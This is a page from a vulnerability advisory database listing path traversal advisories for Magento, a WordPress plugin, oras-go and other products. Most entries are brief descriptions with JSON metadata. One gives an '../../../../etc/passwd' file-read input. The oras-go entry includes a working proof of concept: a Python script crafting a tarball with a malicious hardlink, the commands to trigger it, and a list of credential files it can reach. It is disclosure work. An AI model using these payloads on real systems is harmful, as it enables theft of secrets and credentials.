CWE-22
Allowed-with-ReviewImproper Limitation of a Pathname to a Restricted Directory ('Path Traversal')
Abstraction: Base · Status: Stable
The product uses external input to construct a pathname that is intended to identify a file or directory that is located underneath a restricted parent directory, but the product does not properly neutralize special elements within the pathname that can cause the pathname to resolve to a location that is outside of the restricted directory.
13128 vulnerabilities reference this CWE, most recent first.
GHSA-FX9G-G9Q6-X3JX
Vulnerability from github – Published: 2022-08-17 00:00 – Updated: 2024-01-11 18:16Adobe Commerce versions 2.4.3-p2 (and earlier), 2.3.7-p3 (and earlier) and 2.4.4 (and earlier) are affected by an Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal') vulnerability that could be abused by an attacker to inject malicious scripts into the vulnerable endpoint. A low privileged attacker could leverage this vulnerability to read local files and to perform Stored XSS. Exploitation of this issue does not require user interaction.
{
"affected": [
{
"package": {
"ecosystem": "Packagist",
"name": "magento/community-edition"
},
"ranges": [
{
"events": [
{
"introduced": "2.3.0"
},
{
"fixed": "2.3.7-p4"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Packagist",
"name": "magento/community-edition"
},
"ranges": [
{
"events": [
{
"introduced": "2.4.0"
},
{
"fixed": "2.4.3-p3"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Packagist",
"name": "magento/community-edition"
},
"ranges": [
{
"events": [
{
"introduced": "2.4.4"
},
{
"fixed": "2.4.5"
}
],
"type": "ECOSYSTEM"
}
],
"versions": [
"2.4.4"
]
}
],
"aliases": [
"CVE-2022-34254"
],
"database_specific": {
"cwe_ids": [
"CWE-22"
],
"github_reviewed": true,
"github_reviewed_at": "2024-01-11T18:16:48Z",
"nvd_published_at": "2022-08-16T21:15:00Z",
"severity": "HIGH"
},
"details": "Adobe Commerce versions 2.4.3-p2 (and earlier), 2.3.7-p3 (and earlier) and 2.4.4 (and earlier) are affected by an Improper Limitation of a Pathname to a Restricted Directory (\u0027Path Traversal\u0027) vulnerability that could be abused by an attacker to inject malicious scripts into the vulnerable endpoint. A low privileged attacker could leverage this vulnerability to read local files and to perform Stored XSS. Exploitation of this issue does not require user interaction.",
"id": "GHSA-fx9g-g9q6-x3jx",
"modified": "2024-01-11T18:16:48Z",
"published": "2022-08-17T00:00:19Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2022-34254"
},
{
"type": "WEB",
"url": "https://github.com/magento/magento2/commit/246d524b7586af2245092008e0d92b8d6fdd8523"
},
{
"type": "WEB",
"url": "https://github.com/magento/magento2/commit/5548bc64b5bc904346c0af9193a7fbb5274b4efa"
},
{
"type": "WEB",
"url": "https://github.com/magento/magento2/commit/5f07eba878296a37bd5c3a2baecad48948547594"
},
{
"type": "PACKAGE",
"url": "https://github.com/magento/magento2"
},
{
"type": "WEB",
"url": "https://helpx.adobe.com/security/products/magento/apsb22-38.html"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:L/A:N",
"type": "CVSS_V3"
}
],
"summary": "Magento Path Traversal vulnerability"
}
GHSA-FX9J-CJ6R-VF5M
Vulnerability from github – Published: 2026-04-17 09:31 – Updated: 2026-04-17 09:31The Unlimited Elements for Elementor plugin for WordPress is vulnerable to Arbitrary File Read via the Repeater JSON/CSV URL parameter in versions up to, and including, 2.0.6. This is due to insufficient path traversal sanitization in the URLtoRelative() and urlToPath() functions, combined with the ability to enable debug output in widget settings. The URLtoRelative() function only performs a simple string replacement to remove the site's base URL without sanitizing path traversal sequences (../), and the cleanPath() function only normalizes directory separators without removing traversal components. This allows an attacker to provide a URL like http://site.com/../../../../etc/passwd which, after URLtoRelative() strips the domain, results in /../../../../etc/passwd being concatenated with the base path and ultimately resolved to /etc/passwd. This makes it possible for authenticated attackers with Author-level access and above to read arbitrary local files from the WordPress host, including sensitive files such as wp-config.
{
"affected": [],
"aliases": [
"CVE-2026-4659"
],
"database_specific": {
"cwe_ids": [
"CWE-22"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-04-17T07:16:01Z",
"severity": "HIGH"
},
"details": "The Unlimited Elements for Elementor plugin for WordPress is vulnerable to Arbitrary File Read via the Repeater JSON/CSV URL parameter in versions up to, and including, 2.0.6. This is due to insufficient path traversal sanitization in the URLtoRelative() and urlToPath() functions, combined with the ability to enable debug output in widget settings. The URLtoRelative() function only performs a simple string replacement to remove the site\u0027s base URL without sanitizing path traversal sequences (../), and the cleanPath() function only normalizes directory separators without removing traversal components. This allows an attacker to provide a URL like http://site.com/../../../../etc/passwd which, after URLtoRelative() strips the domain, results in /../../../../etc/passwd being concatenated with the base path and ultimately resolved to /etc/passwd. This makes it possible for authenticated attackers with Author-level access and above to read arbitrary local files from the WordPress host, including sensitive files such as wp-config.",
"id": "GHSA-fx9j-cj6r-vf5m",
"modified": "2026-04-17T09:31:17Z",
"published": "2026-04-17T09:31:17Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-4659"
},
{
"type": "WEB",
"url": "https://plugins.trac.wordpress.org/browser/unlimited-elements-for-elementor/tags/2.0.6/inc_php/unitecreator_helper.class.php#L643"
},
{
"type": "WEB",
"url": "https://plugins.trac.wordpress.org/browser/unlimited-elements-for-elementor/tags/2.0.6/inc_php/unitecreator_helper.class.php#L667"
},
{
"type": "WEB",
"url": "https://plugins.trac.wordpress.org/browser/unlimited-elements-for-elementor/tags/2.0.6/inc_php/unitecreator_operations.class.php#L710"
},
{
"type": "WEB",
"url": "https://plugins.trac.wordpress.org/browser/unlimited-elements-for-elementor/tags/2.0.6/provider/provider_helper.class.php#L597"
},
{
"type": "WEB",
"url": "https://plugins.trac.wordpress.org/browser/unlimited-elements-for-elementor/tags/2.0.6/provider/provider_helper.class.php#L607"
},
{
"type": "WEB",
"url": "https://plugins.trac.wordpress.org/browser/unlimited-elements-for-elementor/trunk/inc_php/unitecreator_helper.class.php#L643"
},
{
"type": "WEB",
"url": "https://plugins.trac.wordpress.org/browser/unlimited-elements-for-elementor/trunk/inc_php/unitecreator_helper.class.php#L667"
},
{
"type": "WEB",
"url": "https://plugins.trac.wordpress.org/browser/unlimited-elements-for-elementor/trunk/inc_php/unitecreator_operations.class.php#L710"
},
{
"type": "WEB",
"url": "https://plugins.trac.wordpress.org/browser/unlimited-elements-for-elementor/trunk/provider/provider_helper.class.php#L597"
},
{
"type": "WEB",
"url": "https://plugins.trac.wordpress.org/browser/unlimited-elements-for-elementor/trunk/provider/provider_helper.class.php#L607"
},
{
"type": "WEB",
"url": "https://plugins.trac.wordpress.org/changeset?sfp_email=\u0026sfph_mail=\u0026reponame=\u0026old=3504458%40unlimited-elements-for-elementor\u0026new=3504458%40unlimited-elements-for-elementor\u0026sfp_email=\u0026sfph_mail="
},
{
"type": "WEB",
"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/9e7e3763-4606-4fc4-aa0f-b67e6087bdc2?source=cve"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-FXC7-GVC5-XVX6
Vulnerability from github – Published: 2026-04-29 21:31 – Updated: 2026-04-29 21:31A security flaw has been discovered in geldata gel-mcp 0.1.0. This impacts the function list_rules/fetch_rule of the file src/gel_mcp/server.py. The manipulation of the argument rule_name results in path traversal. The attack may be performed from remote. The exploit has been released to the public and may be used for attacks. The project was informed of the problem early through an issue report but has not responded yet.
{
"affected": [],
"aliases": [
"CVE-2026-7403"
],
"database_specific": {
"cwe_ids": [
"CWE-22"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-04-29T21:16:22Z",
"severity": "MODERATE"
},
"details": "A security flaw has been discovered in geldata gel-mcp 0.1.0. This impacts the function list_rules/fetch_rule of the file src/gel_mcp/server.py. The manipulation of the argument rule_name results in path traversal. The attack may be performed from remote. The exploit has been released to the public and may be used for attacks. The project was informed of the problem early through an issue report but has not responded yet.",
"id": "GHSA-fxc7-gvc5-xvx6",
"modified": "2026-04-29T21:31:31Z",
"published": "2026-04-29T21:31:31Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-7403"
},
{
"type": "WEB",
"url": "https://github.com/geldata/gel-mcp/issues/11"
},
{
"type": "WEB",
"url": "https://github.com/geldata/gel-mcp"
},
{
"type": "WEB",
"url": "https://vuldb.com/submit/803530"
},
{
"type": "WEB",
"url": "https://vuldb.com/vuln/360139"
},
{
"type": "WEB",
"url": "https://vuldb.com/vuln/360139/cti"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-FXCQ-VV53-P6Q5
Vulnerability from github – Published: 2026-02-27 03:30 – Updated: 2026-02-27 03:30An arbitrary file-read vulnerability exists in XWEB Pro version 1.12.1 and prior, enabling unauthenticated attackers to read arbitrary files on the system, and potentially causing a denial-of-service attack.
{
"affected": [],
"aliases": [
"CVE-2026-22877"
],
"database_specific": {
"cwe_ids": [
"CWE-22"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-02-27T02:16:18Z",
"severity": "LOW"
},
"details": "An arbitrary file-read vulnerability exists in XWEB Pro version 1.12.1 \nand prior, enabling unauthenticated attackers to read arbitrary files on\n the system, and potentially causing a denial-of-service attack.",
"id": "GHSA-fxcq-vv53-p6q5",
"modified": "2026-02-27T03:30:27Z",
"published": "2026-02-27T03:30:27Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-22877"
},
{
"type": "WEB",
"url": "https://github.com/cisagov/CSAF/blob/develop/csaf_files/OT/white/2026/icsa-26-057-10.json"
},
{
"type": "WEB",
"url": "https://webapps.copeland.com/Dixell/Pages/SystemSoftwareUpdate"
},
{
"type": "WEB",
"url": "https://www.cisa.gov/news-events/ics-advisories/icsa-26-057-10"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:N/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-FXCX-W2C4-VQH5
Vulnerability from github – Published: 2022-05-24 19:19 – Updated: 2022-05-24 19:19A remote unauthenticated directory traversal security vulnerability has been identified in HPE iLO Amplifier Pack versions 1.80, 1.81, 1.90 and 1.95. The vulnerability could be remotely exploited to allow an unauthenticated user to run arbitrary code leading complete impact to confidentiality, integrity, and availability of the iLO Amplifier Pack appliance.
{
"affected": [],
"aliases": [
"CVE-2021-29212"
],
"database_specific": {
"cwe_ids": [
"CWE-22"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2021-11-01T14:15:00Z",
"severity": "CRITICAL"
},
"details": "A remote unauthenticated directory traversal security vulnerability has been identified in HPE iLO Amplifier Pack versions 1.80, 1.81, 1.90 and 1.95. The vulnerability could be remotely exploited to allow an unauthenticated user to run arbitrary code leading complete impact to confidentiality, integrity, and availability of the iLO Amplifier Pack appliance.",
"id": "GHSA-fxcx-w2c4-vqh5",
"modified": "2022-05-24T19:19:17Z",
"published": "2022-05-24T19:19:17Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2021-29212"
},
{
"type": "WEB",
"url": "https://support.hpe.com/hpsc/doc/public/display?docLocale=en_US\u0026docId=emr_na-hpesbgn04189en_us"
},
{
"type": "WEB",
"url": "https://www.zerodayinitiative.com/advisories/ZDI-21-1278"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-FXF5-C62C-5F69
Vulnerability from github – Published: 2023-08-30 00:30 – Updated: 2025-10-22 00:32A path traversal vulnerability found in Qlik Sense Enterprise for Windows for versions May 2023 Patch 3 and earlier, February 2023 Patch 7 and earlier, November 2022 Patch 10 and earlier, and August 2022 Patch 12 and earlier allows an unauthenticated remote attacker to generate an anonymous session. This allows them to transmit HTTP requests to unauthorized endpoints. This is fixed in August 2023 IR, May 2023 Patch 4, February 2023 Patch 8, November 2022 Patch 11, and August 2022 Patch 13.
{
"affected": [],
"aliases": [
"CVE-2023-41266"
],
"database_specific": {
"cwe_ids": [
"CWE-20",
"CWE-22"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2023-08-29T23:15:09Z",
"severity": "MODERATE"
},
"details": "A path traversal vulnerability found in Qlik Sense Enterprise for Windows for versions May 2023 Patch 3 and earlier, February 2023 Patch 7 and earlier, November 2022 Patch 10 and earlier, and August 2022 Patch 12 and earlier allows an unauthenticated remote attacker to generate an anonymous session. This allows them to transmit HTTP requests to unauthorized endpoints. This is fixed in August 2023 IR, May 2023 Patch 4, February 2023 Patch 8, November 2022 Patch 11, and August 2022 Patch 13.",
"id": "GHSA-fxf5-c62c-5f69",
"modified": "2025-10-22T00:32:49Z",
"published": "2023-08-30T00:30:49Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-41266"
},
{
"type": "WEB",
"url": "https://community.qlik.com/t5/Official-Support-Articles/Critical-Security-fixes-for-Qlik-Sense-Enterprise-for-Windows/ta-p/2110801"
},
{
"type": "WEB",
"url": "https://community.qlik.com/t5/Release-Notes/tkb-p/ReleaseNotes"
},
{
"type": "WEB",
"url": "https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2023-41266"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-FXGC-M2RG-79RX
Vulnerability from github – Published: 2022-05-24 19:11 – Updated: 2022-05-24 19:11A path traversal vulnerability exists in Nagios XI below version 5.8.5 AutoDiscovery component and could lead to post authenticated RCE under security context of the user running Nagios.
{
"affected": [],
"aliases": [
"CVE-2021-37343"
],
"database_specific": {
"cwe_ids": [
"CWE-22"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2021-08-13T12:15:00Z",
"severity": "HIGH"
},
"details": "A path traversal vulnerability exists in Nagios XI below version 5.8.5 AutoDiscovery component and could lead to post authenticated RCE under security context of the user running Nagios.",
"id": "GHSA-fxgc-m2rg-79rx",
"modified": "2022-05-24T19:11:08Z",
"published": "2022-05-24T19:11:08Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2021-37343"
},
{
"type": "WEB",
"url": "https://www.nagios.com/downloads/nagios-xi/change-log"
},
{
"type": "WEB",
"url": "http://packetstormsecurity.com/files/165978/Nagios-XI-Autodiscovery-Shell-Upload.html"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-FXH6-W476-HGR4
Vulnerability from github – Published: 2019-09-11 22:59 – Updated: 2026-06-09 11:55SharpCompress prior to version 0.21 is vulnerable to path traversal issue in archive extraction.
{
"affected": [
{
"package": {
"ecosystem": "NuGet",
"name": "SharpCompress"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.21.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2018-1002206"
],
"database_specific": {
"cwe_ids": [
"CWE-22"
],
"github_reviewed": true,
"github_reviewed_at": "2019-09-03T22:22:18Z",
"nvd_published_at": "2018-07-25T17:29:01Z",
"severity": "MODERATE"
},
"details": "SharpCompress prior to version 0.21 is vulnerable to path traversal issue in archive extraction.",
"id": "GHSA-fxh6-w476-hgr4",
"modified": "2026-06-09T11:55:21Z",
"published": "2019-09-11T22:59:57Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2018-1002206"
},
{
"type": "WEB",
"url": "https://github.com/adamhathcock/sharpcompress/pull/374"
},
{
"type": "WEB",
"url": "https://github.com/adamhathcock/sharpcompress/commit/42b1205fb435de523e6ef8ac5b7bafbe712997f6"
},
{
"type": "WEB",
"url": "https://github.com/adamhathcock/sharpcompress/commit/80ceb1c375fdb1b4ffba16528c99089e804ce61f"
},
{
"type": "WEB",
"url": "https://github.com/snyk/zip-slip-vulnerability"
},
{
"type": "WEB",
"url": "https://snyk.io/research/zip-slip-vulnerability"
},
{
"type": "WEB",
"url": "https://snyk.io/vuln/SNYK-DOTNET-SHARPCOMPRESS-60246"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:N",
"type": "CVSS_V3"
}
],
"summary": "Directory Traversal in SharpCompress"
}
GHSA-FXHP-MV3V-67QP
Vulnerability from github – Published: 2026-07-01 21:48 – Updated: 2026-07-01 21:48Root cause
The tar-extraction helper ensureLinkPath at content/file/utils.go:262-275 validates that a hardlink's target resolves inside the extract base, but then returns the original unresolved target string back to the caller:
func ensureLinkPath(baseAbs, baseRel, link, target string) (string, error) {
path := target
if !filepath.IsAbs(target) {
path = filepath.Join(filepath.Dir(link), target) // resolved FOR VALIDATION
}
if _, err := resolveRelToBase(baseAbs, baseRel, path); err != nil {
return "", err
}
return target, nil // <-- returns the ORIGINAL target, not the validated path
}
The caller for TypeLink hardlinks then does:
case tar.TypeLink:
var target string
if target, err = ensureLinkPath(dirPath, dirName, filePath, header.Linkname); err == nil {
err = os.Link(target, filePath)
}
os.Link(oldname, newname) wraps the link(2) system call. From the link(2) man page:
oldpath and newpath are interpreted relative to the current working directory of the calling process.
So when target (i.e., header.Linkname) is a relative path, os.Link resolves it against the process's current working directory, not against filepath.Dir(link) as the validation assumed.
Attack
An attacker who controls an OCI-compliant registry (or any artifact source the victim consumes via oras pull) crafts a tarball layer with:
- A regular file:
payload.tar.gz/README.txt. - A hardlink entry:
Typeflag=TypeLink,Name=payload.tar.gz/evil_cwd_link,Linkname="victim.secret"(relative).
and marks the layer descriptor with io.deis.oras.content.unpack: "true" (a standard annotation that tells oras-go to auto-extract).
When a victim runs oras pull (or any Go code using content.File), the extraction:
- Validates
payload.tar.gz/evil_cwd_link— passes. - Calls
ensureLinkPath(dirPath, "payload.tar.gz", filePath, "victim.secret"): path = filepath.Join(filepath.Dir(filePath), "victim.secret")=<extract_base>/payload.tar.gz/victim.secret→ inside base → validation passes.- Returns
target = "victim.secret"(NOTpath). - Calls
os.Link("victim.secret", "<extract_base>/payload.tar.gz/evil_cwd_link"). link(2)resolves relativeoldname="victim.secret"against process CWD → creates a hardlink inside the extract tree pointing to<invoker_CWD>/victim.secret.
The resulting hardlink and the CWD file share an inode — reading one reads the other; writing to one writes to the other.
Proof of Concept
Tested on Ubuntu 24.04.4 LTS with oras CLI v1.3.0 (SHA-256 040e140304b7dbdd9b40dacd798e2303cea44ad84eeb210750afdf15f1dcf8b4, downloaded from https://github.com/oras-project/oras/releases/download/v1.3.0/oras_1.3.0_linux_amd64.tar.gz).
Reproduction script (standalone, ~50 lines) attached. Summary of key steps:
# 1. Place victim file in the future CWD.
mkdir -p cwd-space extract
echo "TOP SECRET FROM CWD" > cwd-space/victim.secret
# 2. Craft malicious tarball with a TypeLink entry whose Linkname is RELATIVE.
python3 -c '
import tarfile, io, os
with tarfile.open("cwd-space/payload.tar.gz", "w:gz", format=tarfile.GNU_FORMAT) as t:
info = tarfile.TarInfo(name="payload.tar.gz/README.txt")
c = b"pulled from registry"; info.size = len(c); info.mode = 0o644
info.uid = os.getuid(); info.gid = os.getgid()
t.addfile(info, io.BytesIO(c))
link = tarfile.TarInfo(name="payload.tar.gz/evil_cwd_link")
link.type = tarfile.LNKTYPE
link.linkname = "victim.secret" # RELATIVE
link.mode = 0o644; link.uid = os.getuid(); link.gid = os.getgid()
t.addfile(link)
'
# 3. Push to OCI layout, patch in the unpack annotation, pull from cwd-space.
(cd cwd-space && oras push --oci-layout ../layout:v1 \
payload.tar.gz:application/vnd.oci.image.layer.v1.tar+gzip)
# ... patch layout/blobs/sha256/<manifest> to add
# io.deis.oras.content.unpack: "true" on layers[0].annotations ...
(cd cwd-space && oras pull --oci-layout ../layout:v1 --output ../extract)
# 4. Observe inode sharing.
stat -c '%i' extract/payload.tar.gz/evil_cwd_link # → 6554160
stat -c '%i' cwd-space/victim.secret # → 6554160 (SAME)
cat extract/payload.tar.gz/evil_cwd_link # → "TOP SECRET FROM CWD"
Observed output:
evil_cwd_link (inside extract dir): inode=6554160
victim.secret (in invoker CWD): inode=6554160
*** ESCAPE CONFIRMED ***
Reading through the extract-dir hardlink yields the CWD file contents:
TOP SECRET FROM CWD
A library-level regression test is also provided (poc_test.go) that drops into content/file/utils_test.go and runs via go test ./content/file/... -run TestPoC — output shows identical inode match for consumers of the library API.
Impact
Primary: arbitrary-CWD-file read primitive. An attacker-controlled OCI artifact, when pulled by a victim using the oras CLI or any Go program using oras-go/v2/content/file, can create a hardlink inside the victim's extract tree pointing to an arbitrary file in the victim's process CWD (that the invoker UID is permitted to read). Reading the extract-tree hardlink yields that file's contents verbatim.
Secondary: inode-sharing tampering primitive. Any tool that later modifies the extract-tree hardlink (write, chmod, truncate, etc.) modifies the CWD file through the shared inode. This violates the "writes inside the extract dir are confined" invariant that downstream tooling (CI systems, container-image builders, artifact scanners) typically depends on.
High-severity chains:
- CI pipelines where
oras pullruns from a project workspace containing secrets/credentials (.env,.git/config, service-account tokens). The pulled artifact can hardlink those secrets into a location later archived/mounted/published. - Container orchestration where the extract dir is bind-mounted into a lower-trust container while the pull-invoker's CWD is higher-trust. Hardlinks created in the extract tree expose invoker-CWD files across the trust boundary.
- Kubernetes operators / Flux source-controller using
oras-goto fetch artifacts; their CWD is typically/or/root— very sensitive. - Multi-tenant registry proxies that use
oras-goto fetch and re-serve artifacts; each proxy process has a CWD with configuration, keys, or per-tenant state.
Not affected:
oras push(tarball creation side):tarDirectoryin the same file explicitly skips hardlink generation (line 65 comment:"We don't support hard links and treat it as regular files"), so pushed content cannot trigger this on the server.- Symlink extraction path (
TypeSymlink):os.Symlinkstores the target string verbatim and does not CWD-resolve at creation time. The currentensureLinkPathreturn-of-targetis correct for symlinks (the existing validation correctly models the symlink-follow path).
Attack-surface boundary (fs.protected_hardlinks)
On Linux with fs.protected_hardlinks=1 (default on modern distros), link(2) additionally requires the linking user to have READ + WRITE permission on the source file (per may_linkat() in the kernel). Verified on Ubuntu 24.04: as non-root, ln /etc/passwd /tmp/x returns EPERM, and the same via the oras PoC path returns link passwd /tmp/.../evil_passwd: operation not permitted.
So the attacker cannot use this bug to read arbitrary root-owned files (e.g., /etc/shadow) when the victim invokes oras pull as a regular user. The attack surface depends on the invocation context:
| Invocation context | Reachable file classes |
|---|---|
oras pull run by a regular user |
Any file the user OWNS or has write access to in the process CWD: .env, .git/config, .aws/credentials, ~/.ssh/config, project-local secrets, CI workspace files. |
oras pull run as root (systemd without User=, container entrypoint default root, Kubernetes operator) |
Every file on the host filesystem. /etc/shadow, /root/.ssh/id_rsa, bind-mounted host paths, service private keys. |
The user-context attack surface alone is sufficient for supply-chain-grade impact: CI pipelines and developer machines routinely hold API keys, signing keys, and cloud credentials in user-owned files in the working directory. The root-context escalation makes the bug Critical in mainstream Kubernetes/GitOps tooling where oras-go is adopted for artifact distribution.
Proposed fix
Change ensureLinkPath to expose both the verbatim target (for symlinks) and the resolved absolute path (for hardlinks); have the TypeLink case use the resolved path.
// Current behavior preserved for TypeSymlink. TypeLink switches to the resolved
// path to avoid CWD-resolution mismatch at os.Link time.
func ensureLinkPath(baseAbs, baseRel, link, target string) (symlinkTarget, hardlinkPath string, err error) {
path := target
if !filepath.IsAbs(target) {
path = filepath.Join(filepath.Dir(link), target)
}
if _, err = resolveRelToBase(baseAbs, baseRel, path); err != nil {
return "", "", err
}
return target, path, nil
}
case tar.TypeLink:
var absTarget string
if _, absTarget, err = ensureLinkPath(dirPath, dirName, filePath, header.Linkname); err == nil {
err = os.Link(absTarget, filePath)
}
case tar.TypeSymlink:
var symTarget string
symTarget, _, err = ensureLinkPath(dirPath, dirName, filePath, header.Linkname)
if err != nil { return err }
if err = os.Symlink(symTarget, filePath); err != nil { ... }
Regression test to add:
Extend Test_extractTarDirectory_HardLink with a third sub-test that:
1. Creates a sentinel file in the test's t.TempDir() (or an explicitly os.Chdir-entered directory) with a known name, e.g. sentinel.txt.
2. Builds a tarball containing a TypeLink entry with Linkname: "sentinel.txt" (relative).
3. Extracts.
4. Asserts either extractTarDirectory returned an error, OR the resulting hardlink's inode does NOT match the sentinel's inode.
{
"affected": [
{
"package": {
"ecosystem": "Go",
"name": "oras.land/oras-go/v2"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"last_affected": "2.6.1"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-50163"
],
"database_specific": {
"cwe_ids": [
"CWE-22",
"CWE-59"
],
"github_reviewed": true,
"github_reviewed_at": "2026-07-01T21:48:04Z",
"nvd_published_at": null,
"severity": "HIGH"
},
"details": "### Root cause\n\nThe tar-extraction helper `ensureLinkPath` at [`content/file/utils.go:262-275`](https://github.com/oras-project/oras-go/blob/main/content/file/utils.go#L262-L275) validates that a hardlink\u0027s target resolves inside the extract base, but then returns the original unresolved `target` string back to the caller:\n\n```go\nfunc ensureLinkPath(baseAbs, baseRel, link, target string) (string, error) {\n path := target\n if !filepath.IsAbs(target) {\n path = filepath.Join(filepath.Dir(link), target) // resolved FOR VALIDATION\n }\n if _, err := resolveRelToBase(baseAbs, baseRel, path); err != nil {\n return \"\", err\n }\n return target, nil // \u003c-- returns the ORIGINAL target, not the validated path\n}\n```\n\nThe caller for `TypeLink` hardlinks then does:\n\n```go\ncase tar.TypeLink:\n var target string\n if target, err = ensureLinkPath(dirPath, dirName, filePath, header.Linkname); err == nil {\n err = os.Link(target, filePath)\n }\n```\n\n`os.Link(oldname, newname)` wraps the `link(2)` system call. From the `link(2)` man page:\n\n\u003e oldpath and newpath are interpreted relative to the current working directory of the calling process.\n\nSo when `target` (i.e., `header.Linkname`) is a **relative** path, `os.Link` resolves it against the process\u0027s **current working directory**, not against `filepath.Dir(link)` as the validation assumed.\n\n### Attack\n\nAn attacker who controls an OCI-compliant registry (or any artifact source the victim consumes via `oras pull`) crafts a tarball layer with:\n\n- A regular file: `payload.tar.gz/README.txt`.\n- A hardlink entry: `Typeflag=TypeLink`, `Name=payload.tar.gz/evil_cwd_link`, `Linkname=\"victim.secret\"` (relative).\n\nand marks the layer descriptor with `io.deis.oras.content.unpack: \"true\"` (a standard annotation that tells `oras-go` to auto-extract).\n\nWhen a victim runs `oras pull` (or any Go code using `content.File`), the extraction:\n\n1. Validates `payload.tar.gz/evil_cwd_link` \u2014 passes.\n2. Calls `ensureLinkPath(dirPath, \"payload.tar.gz\", filePath, \"victim.secret\")`:\n - `path = filepath.Join(filepath.Dir(filePath), \"victim.secret\")` = `\u003cextract_base\u003e/payload.tar.gz/victim.secret` \u2192 inside base \u2192 **validation passes**.\n - Returns `target = \"victim.secret\"` (NOT `path`).\n3. Calls `os.Link(\"victim.secret\", \"\u003cextract_base\u003e/payload.tar.gz/evil_cwd_link\")`.\n4. `link(2)` resolves relative `oldname=\"victim.secret\"` against process CWD \u2192 creates a hardlink inside the extract tree pointing to `\u003cinvoker_CWD\u003e/victim.secret`.\n\nThe resulting hardlink and the CWD file **share an inode** \u2014 reading one reads the other; writing to one writes to the other.\n\n---\n\n## Proof of Concept\n\nTested on Ubuntu 24.04.4 LTS with `oras` CLI v1.3.0 (SHA-256 `040e140304b7dbdd9b40dacd798e2303cea44ad84eeb210750afdf15f1dcf8b4`, downloaded from \u003chttps://github.com/oras-project/oras/releases/download/v1.3.0/oras_1.3.0_linux_amd64.tar.gz\u003e).\n\nReproduction script (standalone, ~50 lines) attached. Summary of key steps:\n\n```bash\n# 1. Place victim file in the future CWD.\nmkdir -p cwd-space extract\necho \"TOP SECRET FROM CWD\" \u003e cwd-space/victim.secret\n\n# 2. Craft malicious tarball with a TypeLink entry whose Linkname is RELATIVE.\npython3 -c \u0027\nimport tarfile, io, os\nwith tarfile.open(\"cwd-space/payload.tar.gz\", \"w:gz\", format=tarfile.GNU_FORMAT) as t:\n info = tarfile.TarInfo(name=\"payload.tar.gz/README.txt\")\n c = b\"pulled from registry\"; info.size = len(c); info.mode = 0o644\n info.uid = os.getuid(); info.gid = os.getgid()\n t.addfile(info, io.BytesIO(c))\n\n link = tarfile.TarInfo(name=\"payload.tar.gz/evil_cwd_link\")\n link.type = tarfile.LNKTYPE\n link.linkname = \"victim.secret\" # RELATIVE\n link.mode = 0o644; link.uid = os.getuid(); link.gid = os.getgid()\n t.addfile(link)\n\u0027\n\n# 3. Push to OCI layout, patch in the unpack annotation, pull from cwd-space.\n(cd cwd-space \u0026\u0026 oras push --oci-layout ../layout:v1 \\\n payload.tar.gz:application/vnd.oci.image.layer.v1.tar+gzip)\n# ... patch layout/blobs/sha256/\u003cmanifest\u003e to add\n# io.deis.oras.content.unpack: \"true\" on layers[0].annotations ...\n\n(cd cwd-space \u0026\u0026 oras pull --oci-layout ../layout:v1 --output ../extract)\n\n# 4. Observe inode sharing.\nstat -c \u0027%i\u0027 extract/payload.tar.gz/evil_cwd_link # \u2192 6554160\nstat -c \u0027%i\u0027 cwd-space/victim.secret # \u2192 6554160 